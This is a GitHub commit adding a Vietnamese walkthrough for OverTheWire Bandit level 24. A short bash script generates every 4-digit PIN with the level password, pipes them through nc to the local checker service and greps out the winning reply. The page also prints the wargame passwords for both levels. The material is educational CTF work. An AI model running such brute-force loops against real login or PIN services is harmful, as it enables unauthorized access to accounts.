Skip to content

Commit a91c12c

Browse files
authored
Create Level24.md
1 parent 22af5df commit a91c12c

File tree

1 file changed

+44
-0
lines changed

1 file changed

+44
-0
lines changed

Bandit/Level24.md

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# Level 24
2+
`Level này tập trung vào khái niệm *bruteforce* cơ bản và một chút về viết script`
3+
###### user: bandit24; password: VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
4+
Yêu cầu level: gửi chuỗi bao gồm password cho level 24 và một mật khẩu 4 ký tự ngẫu nhiên vào, nếu đúng trả về kết quả.
5+
*Lúc đầu mình thử tạo một file bruteforce.sh đơn thuần với chức năng bruteforce mật khẩu và chỉ in ra kết quả khi kết quả mà server chạy về khác với kết quả lỗi, tuy nhiên vì server sẽ chờ ~15s nên sẽ phải thêm một hàm để kill quá trình đó và chạy lại từ đầu. Rất mất thời gian và cồng kềnh nên sẽ thử phương pháp sau:
6+
### 1. Tạo một thư mục cho file thực thi trong /tmp:
7+
```
8+
mkdir /tmp/hoang
9+
cd /tmp/hoang
10+
```
11+
### 2. Tạo các file cần thiết:
12+
`bruteforce.sh` tạo ra các dòng lệnh phục vụ cho việc bruteforce.
13+
######
14+
`bfline.txt` nhận các dòng lệnh từ bruteforce.sh và đẩy vào server.
15+
######
16+
`result.txt` nhận kết quả server trả về.
17+
#### bruteforce.sh:
18+
```bash
19+
#!/bin/bash
20+
21+
for i in {1000..9999}
22+
do
23+
echo “VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i>> bfline.txt
24+
done
25+
cat bfline.txt | nc localhost 30002 > result.txt
26+
```
27+
### 3. Cấp quyền và chạy file:
28+
```
29+
chmod +x bruteforce.sh
30+
chmod + 666 bfline.txt
31+
chmod + 666 result.txt
32+
./bruteforce.sh
33+
```
34+
### 4. Lọc kết quả:
35+
##### Vì mặc định khi nhập sai, server sẽ trả về kết quả như sau:
36+
`Wrong! Please enter the correct pincode. Try again`
37+
##### Nên ta sẽ sử dụng lệnh `grep` để lọc kết quả:
38+
```
39+
cat result.txt | grep -v -i “wrong”
40+
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
41+
Correct!
42+
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
43+
```
44+
##### Key: *p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d*

0 commit comments

Comments
 (0)